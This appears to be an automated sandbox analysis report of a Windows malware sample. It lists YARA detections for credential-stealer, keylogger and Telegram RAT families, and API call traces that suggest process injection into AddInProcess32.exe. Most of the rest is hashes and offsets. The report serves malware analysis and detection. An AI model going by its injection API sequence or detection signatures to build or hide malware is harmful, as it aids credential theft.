File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:57:27
Start date:	30/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x6b0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Function 00007FFD342137B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2476479544.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 89739c294eed30b90fb68d503ef9390b680a60d06b7940d2459692767785765f
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 8601A77020CB0D4FDB44EF0CE051AA6B3E0FB85320F10056DE58AC3651D636E882CB41

Analysis Process: powershell.exePID: 4256, Parent PID: 7092COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD342C3FBF Relevance: 4.2, Strings: 1, Instructions: 2942
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(G>4, xrefs: 00007FFD342C3FDA

Memory Dump Source

Source File: 00000004.00000002.2451165791.00007FFD342C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd342c0000_powershell.jbxd

Similarity

API ID:
String ID: (G>4
API String ID: 0-1365650496
Opcode ID: afe963b6c10ca0f2fdf7e936c6b0eb9940523a6f51befbedfa2d9656cfc4bf3f
Instruction ID: 3aa65cd4b10fd06afb96265672db7beb4c4d3835bbc8626c5b1f2b2cb0aa7387
Opcode Fuzzy Hash: afe963b6c10ca0f2fdf7e936c6b0eb9940523a6f51befbedfa2d9656cfc4bf3f
Instruction Fuzzy Hash: 1133997150CA888FDFB8EF18C494E9AB7E1FBA9344F55095ED48DC7291CA31E981CB42

Function 00007FFD342C69F5 Relevance: 1.8, Strings: 1, Instructions: 527
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`l>4, xrefs: 00007FFD342C6A91

Memory Dump Source

Source File: 00000004.00000002.2451165791.00007FFD342C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd342c0000_powershell.jbxd

Similarity

API ID:
String ID: `l>4
API String ID: 0-1004467603
Opcode ID: cda7828019088e448b3ee015acba593c3e92c393971b78262490f6115569ad4c
Instruction ID: 5f449cd86ad90a626f7912309efd34acb933f6e3d624800da038ac67b4b09f87
Opcode Fuzzy Hash: cda7828019088e448b3ee015acba593c3e92c393971b78262490f6115569ad4c
Instruction Fuzzy Hash: 10E10466A0EAC50FEB969A3889A55743BE1DF67310B1900FFC189DB1E3D91EEC06D341

Function 00007FFD341FB124 Relevance: 1.6, APIs: 1, Instructions: 138
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FFD341FB200

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9e3d0a208535d420ce4af1a773a745c63528d72cee1aa1f35ba1a8cb81dc4b87
Instruction ID: 27b176c4a40d79c0261cd5543e90027fb708a0e09e45480aa24d800081100cf7
Opcode Fuzzy Hash: 9e3d0a208535d420ce4af1a773a745c63528d72cee1aa1f35ba1a8cb81dc4b87
Instruction Fuzzy Hash: DA41D93191CB488FDB18DF58D8856E97BE0FB56321F04426FE489D3152DB74A846CB92

Function 00007FFD341FAE15 Relevance: 1.6, APIs: 1, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FFD341FAEE4

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: e4358e9843887d253bd0a2d842697beba57609bb2155c6c14afff1fdd2dbcad7
Instruction ID: 19b519c822130dddd829d8b3f9332e279e23602b95d2cd502d007c91bf87d972
Opcode Fuzzy Hash: e4358e9843887d253bd0a2d842697beba57609bb2155c6c14afff1fdd2dbcad7
Instruction Fuzzy Hash: E441193190CB888FDB16DF6898857E97FE0EF56320F08429BD448C7157DB78A405C791

Function 00007FFD341FAC6B Relevance: 1.6, APIs: 1, Instructions: 114
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FFD341FACFD

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9ca054d92643994af05c4b4e96035d9872114e9e8f3042b5463a7210fd16ff73
Instruction ID: 89bf173c4f0ec68c649fd05e8f3d414a4c712b74c0bb6f1b7f88be331f932544
Opcode Fuzzy Hash: 9ca054d92643994af05c4b4e96035d9872114e9e8f3042b5463a7210fd16ff73
Instruction Fuzzy Hash: 7C415E31918B188FEB55DF58D886BD9B7F1FB99711F1042AAD04DA3241CA34A982CFC2

Function 00007FFD341FB245 Relevance: 1.6, APIs: 1, Instructions: 99
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FFD341FB2DC

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 31b5682d4304a73f8176b69d0cd207f979e8661ac03299e82d4ec6aa84342922
Instruction ID: cfac9cb41e8abd70bda0f7266aac6ec9e048c2535fc8569a8aa58c1899ec6d73
Opcode Fuzzy Hash: 31b5682d4304a73f8176b69d0cd207f979e8661ac03299e82d4ec6aa84342922
Instruction Fuzzy Hash: 7C21F232A0CA4C8FDB59DB98C859BE9BBE0FF96321F00426ED049C3592DB756416CB81

Function 00007FFD342C6EAA Relevance: 1.4, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`l>4, xrefs: 00007FFD342C7013

Memory Dump Source

Source File: 00000004.00000002.2451165791.00007FFD342C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd342c0000_powershell.jbxd

Similarity

API ID:
String ID: `l>4
API String ID: 0-1004467603
Opcode ID: c7ad4096f32697f23684d30788f55df21ed10d1188b9f5af759954b5718d150b
Instruction ID: c44cd33ec46eb65787cb392933414fac2770b0b11d8e5361cf59e3187854ee99
Opcode Fuzzy Hash: c7ad4096f32697f23684d30788f55df21ed10d1188b9f5af759954b5718d150b
Instruction Fuzzy Hash: 08313552B0EBC94FE7538A3C19A41603FE1DF67210B0901EBC589C71B3D90EAC0A9391

Function 00007FFD342C031B Relevance: .2, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2451165791.00007FFD342C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd342c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142d62d581874264161361eb31c25b19fb81c2ec0e190f45f7181e1bba2a8e4d
Instruction ID: a21dbfa6675480a211f68e1bb3a60c49855c1d9505af5fdd053063b9b74802a7
Opcode Fuzzy Hash: 142d62d581874264161361eb31c25b19fb81c2ec0e190f45f7181e1bba2a8e4d
Instruction Fuzzy Hash: 75710526B0DBC90FEBA29BB848A42B57BE0EF57350B0900FAD148DB193D91EAC05D351

Function 00007FFD342C812E Relevance: .2, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2451165791.00007FFD342C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd342c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9140a8090f7e9803be7955a5612b350385a52ec7d7ab7cc02995f43d1efe4e9b
Instruction ID: cbcd401c4f6bced54ffb6ce67e61b189ed3c93c64196fb9cf8bd3597af8be1f4
Opcode Fuzzy Hash: 9140a8090f7e9803be7955a5612b350385a52ec7d7ab7cc02995f43d1efe4e9b
Instruction Fuzzy Hash: 98616927B0EE860FF7A9962C09B52B566D1EF86252B0841BFD91ED71D3DD1DEC009342

Function 00007FFD342C077C Relevance: .2, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2451165791.00007FFD342C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd342c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c584fa7b860000a5f1069942c6d4ac75724920bad502479c3f46438a56fa76b9
Instruction ID: a41cf44af9cafcfc5f831d1dee249a0078823b13d60418111156caab1488e94d
Opcode Fuzzy Hash: c584fa7b860000a5f1069942c6d4ac75724920bad502479c3f46438a56fa76b9
Instruction Fuzzy Hash: AB41B872A0CB884FEB54DF5CA8522A87BE0EF46320F1402BBE549D3552DA2ABC45C7C1

Function 00007FFD342C817A Relevance: .1, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2451165791.00007FFD342C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd342c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d807aaa198849b860f96cea71d6423101c378813d2e8a796afdcc6d26236e8a5
Instruction ID: 8627be32c71984eb1fc806e7b3dc872452b1011f27b0f45b830d50ee952bd5e3
Opcode Fuzzy Hash: d807aaa198849b860f96cea71d6423101c378813d2e8a796afdcc6d26236e8a5
Instruction Fuzzy Hash: D8415A17F0FEC70FF7AA522809B917456D1EF8625274841BAD91DE71D3DD1EAC005202

Non-executed Functions

Function 00007FFD341F0EF2 Relevance: 2.8, Strings: 2, Instructions: 277COMMON

Download Yara Rule

Strings

5N_^, xrefs: 00007FFD341F0F01
k4N, xrefs: 00007FFD341F104A

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID: 5N_^$k4N
API String ID: 0-2418870281
Opcode ID: c1d438e776123899512145866a10627cd3aafa1c07ea82d604a7ce075316072b
Instruction ID: e405938efb2ea1abd4106c140b13533fd14548fb8e545933e6c15f6f46fc2c2d
Opcode Fuzzy Hash: c1d438e776123899512145866a10627cd3aafa1c07ea82d604a7ce075316072b
Instruction Fuzzy Hash: 59918053E0DAD25FE353922D58F50D52F91EF672A474A01FBC694DF093ED08A80BA622

Function 00007FFD341F41FA Relevance: 1.6, Strings: 1, Instructions: 372COMMON

Download Yara Rule

Strings

:O_H, xrefs: 00007FFD341F449D

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID: :O_H
API String ID: 0-2150663453
Opcode ID: 1fc143356fb86b1b161406b35963bbb9b7422e39a0630f083ff816a5cc2509f2
Instruction ID: b5a607b8bc775a829197ed46bfad7b6e2470555c2110cdaef311165bc59a068d
Opcode Fuzzy Hash: 1fc143356fb86b1b161406b35963bbb9b7422e39a0630f083ff816a5cc2509f2
Instruction Fuzzy Hash: B3B1B527B0DBD25FE752966C58F61E57BE0EF6326470901B7C688CB093ED1CA80BA351

Function 00007FFD341F2EDA Relevance: .4, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cecaaf51a2cd7adc40b34d3cb082f4af0612986134d14a9805ac07fcf30e0e2b
Instruction ID: 48f043ededb3597fb8b4b9fa98e490d2ed28b49c348a686a464a118321bcfae7
Opcode Fuzzy Hash: cecaaf51a2cd7adc40b34d3cb082f4af0612986134d14a9805ac07fcf30e0e2b
Instruction Fuzzy Hash: 31D1D532E08A4D8FDB95DF5CC8A4AE9BBE1FF55310F04427AD459D7292CE38A846C780

Function 00007FFD341F32F6 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2b66518587905b157bd10578159cc1a56af421722f23e05535f864a099cc171
Instruction ID: cf2003fe8340f87617bf1f6856eb2e761053cdf0901808d384f05a27d0965649
Opcode Fuzzy Hash: a2b66518587905b157bd10578159cc1a56af421722f23e05535f864a099cc171
Instruction Fuzzy Hash: 42716B57A0EBC21FE353A3B858B51E63FA09F5322474E01F7C6D4CA0A3E91D584B9362

Function 00007FFD341F4EE5 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 282d482dcb13a0ef11fc3e0009c1dc85a48ace453a8b35748d1329c342eeac0d
Instruction ID: 8c4aaf232f1f314527ce37633a338f0ae482e84c5d023827b2929bb3ecac629e
Opcode Fuzzy Hash: 282d482dcb13a0ef11fc3e0009c1dc85a48ace453a8b35748d1329c342eeac0d
Instruction Fuzzy Hash: 75416D57A0EAC61FE252563D1CB50E67FA4DE6312570A43F7C2D8CA093D90D280BE266

Function 00007FFD341F29F2 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b0bf388f0618038812a2c74d650fdaa85c07b63003999b29a5a26211235d952
Instruction ID: 6f4d574ef77d0564aeee56a524dbff7f78b3572b4b879282a57331762a8a9651
Opcode Fuzzy Hash: 2b0bf388f0618038812a2c74d650fdaa85c07b63003999b29a5a26211235d952
Instruction Fuzzy Hash: CD418D57B0DBD25AE362563CA8F20E6BFD0DF5322474912B3C688CE4939D0D2C07A212

Function 00007FFD341F28F2 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c2213eabc279623b79798369266c43b2b5e58aae1e93542ebbc679838f90750
Instruction ID: 1b52a61120b1fe863c9d6d73542f97bd2ea8c09b3101b389b0b180002b58ffa8
Opcode Fuzzy Hash: 8c2213eabc279623b79798369266c43b2b5e58aae1e93542ebbc679838f90750
Instruction Fuzzy Hash: 3E41B917B0DBE25AE762977CA8F21D67FD4EF5326474901B3C2C4CE483DD09680B9252

Function 00007FFD341F5BFA Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2450735749.00007FFD341F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD341F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd341f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 282229eb40bf49ffe3e25a57c13e86945dffe909ce3d3be4b8f4bdba4294eb81
Instruction ID: ba83468d60528b6c8f52b64f3d0372c8088495cd4b1b5f133e12a829f3561c03
Opcode Fuzzy Hash: 282229eb40bf49ffe3e25a57c13e86945dffe909ce3d3be4b8f4bdba4294eb81
Instruction Fuzzy Hash: E5316D17A0EBD21FE353962818B60D63FE5DF5322570A02F7C295CB497ED0D180BA266

Analysis Process: AddInProcess32.exePID: 5500, Parent PID: 4256COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	0.7%
Total number of Nodes:	724
Total number of Limit Nodes:	32

Executed Functions

Function 0041E9D0 Relevance: 25.6, APIs: 17, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041E9EE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA1E
#525.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041EA30
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA3B
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0041EA4C
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA61
GetUserNameA.ADVAPI32(00000000), ref: 0041EA6D
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0041EA7B
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EA84
#537.MSVBVM60(00000000,?,00000001,?,?,?,00000000,Function_000032B6), ref: 0041EA99
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAA4
__vbaInStr.MSVBVM60(00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041EAAD
#616.MSVBVM60(?,-00000001,?,?,?,00000000,Function_000032B6), ref: 0041EABD
__vbaStrMove.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAC8
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EAD1
__vbaFreeStr.MSVBVM60(0041EB05,?,?,?,00000000,Function_000032B6), ref: 0041EAFE
__vbaErrorOverflow.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0041EB19

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$FreeMove$Error$#525#537#616AnsiBstrChkstkNameOverflowUnicodeUser
String ID:
API String ID: 281739284-0
Opcode ID: 51ebf8c25856d226b4dcde5673b463cf0edb45b4d208a7711fc342866f12040b
Instruction ID: 1a108948efa492097ea428c0624f2b892237f430c038d1a03950295591b49aee
Opcode Fuzzy Hash: 51ebf8c25856d226b4dcde5673b463cf0edb45b4d208a7711fc342866f12040b
Instruction Fuzzy Hash: 5D31CA75900249EFDB04EFA4DE4DBDEBBB8EB08715F108269E502B62A0DB745944CB64

Function 0040A840 Relevance: 809.7, APIs: 448, Strings: 13, Instructions: 2988COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040A85E
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,Function_000032B6), ref: 0040A8B6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040A91C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000068), ref: 0040A97C
__vbaFreeObj.MSVBVM60 ref: 0040A9A5
__vbaEnd.MSVBVM60 ref: 0040A9BD
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040A9DD
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AA43
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,0000007C), ref: 0040AA9E
__vbaFreeObj.MSVBVM60 ref: 0040AAB9
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406300,000001BC), ref: 0040AAFD
__vbaNew2.MSVBVM60(00406520,0042CC34), ref: 0040AB2F
__vbaHresultCheckObj.MSVBVM60(00000000,00000000,00406510,00000014), ref: 0040AB95
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040ABF2
#618.MSVBVM60(?,00000001), ref: 0040AC10
__vbaStrMove.MSVBVM60 ref: 0040AC1B
__vbaStrCmp.MSVBVM60(00406544,00000000), ref: 0040AC27
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040AC45
__vbaFreeObj.MSVBVM60(?,?,Function_000032B6), ref: 0040AC51
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,Function_000032B6), ref: 0040AC80
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040ACE6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040AD43
__vbaStrMove.MSVBVM60 ref: 0040AD74
__vbaFreeObj.MSVBVM60 ref: 0040AD7D
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,Function_000032B6), ref: 0040ADA2
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AE08
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000050), ref: 0040AE65
__vbaStrCat.MSVBVM60(00406544,?), ref: 0040AE86
__vbaStrMove.MSVBVM60 ref: 0040AE91
__vbaFreeStr.MSVBVM60 ref: 0040AE9A
__vbaFreeObj.MSVBVM60 ref: 0040AEA3
__vbaStrCopy.MSVBVM60 ref: 0040AEB8
__vbaStrMove.MSVBVM60(?), ref: 0040AECC
__vbaStrCopy.MSVBVM60 ref: 0040AED9
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040AEE9
__vbaStrMove.MSVBVM60(00000025,?,?,?,?,?,Function_000032B6), ref: 0040AF05
__vbaStrCopy.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0040AF12
__vbaFreeStr.MSVBVM60(?,?,?,?,?,Function_000032B6), ref: 0040AF1B
__vbaNew2.MSVBVM60(00406520,0042CC34,?,?,?,?,?,Function_000032B6), ref: 0040AF3B
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406510,00000014), ref: 0040AFA1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406530,00000058), ref: 0040AFFE
__vbaStrCat.MSVBVM60(?,?), ref: 0040B01E
__vbaStrMove.MSVBVM60 ref: 0040B029
__vbaStrCat.MSVBVM60(00406BFC,00000000), ref: 0040B035
__vbaStrMove.MSVBVM60 ref: 0040B040
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B04E
__vbaStrMove.MSVBVM60 ref: 0040B059
#517.MSVBVM60(00000000), ref: 0040B060
__vbaStrMove.MSVBVM60 ref: 0040B06B
__vbaStrCopy.MSVBVM60 ref: 0040B078
__vbaFreeStrList.MSVBVM60(00000005,?,?,?,?,?), ref: 0040B094
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0A0

Part of subcall function 00429CA0: __vbaSetSystemError.MSVBVM60(00000064,004031C0,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429CF6
Part of subcall function 00429CA0: #525.MSVBVM60(00000200,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D05
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D16
Part of subcall function 00429CA0: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D20
Part of subcall function 00429CA0: SHGetPathFromIDList.SHELL32(?,00000000), ref: 00429D30
Part of subcall function 00429CA0: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D3A
Part of subcall function 00429CA0: __vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D43
Part of subcall function 00429CA0: #537.MSVBVM60(00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D50
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5B
Part of subcall function 00429CA0: __vbaInStr.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D5F
Part of subcall function 00429CA0: #616.MSVBVM60(?,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D73
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D7E
Part of subcall function 00429CA0: __vbaStrCat.MSVBVM60(00406544,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D86
Part of subcall function 00429CA0: __vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D91
Part of subcall function 00429CA0: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429D9D
Part of subcall function 00429CA0: __vbaFreeStr.MSVBVM60(00429DEF,?,?,?,?,?,?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429DE8

__vbaStrMove.MSVBVM60(00000024,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0B9
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0C6
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0CF
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0F8
__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B105
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B115
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040B131
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B13C
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040B14A
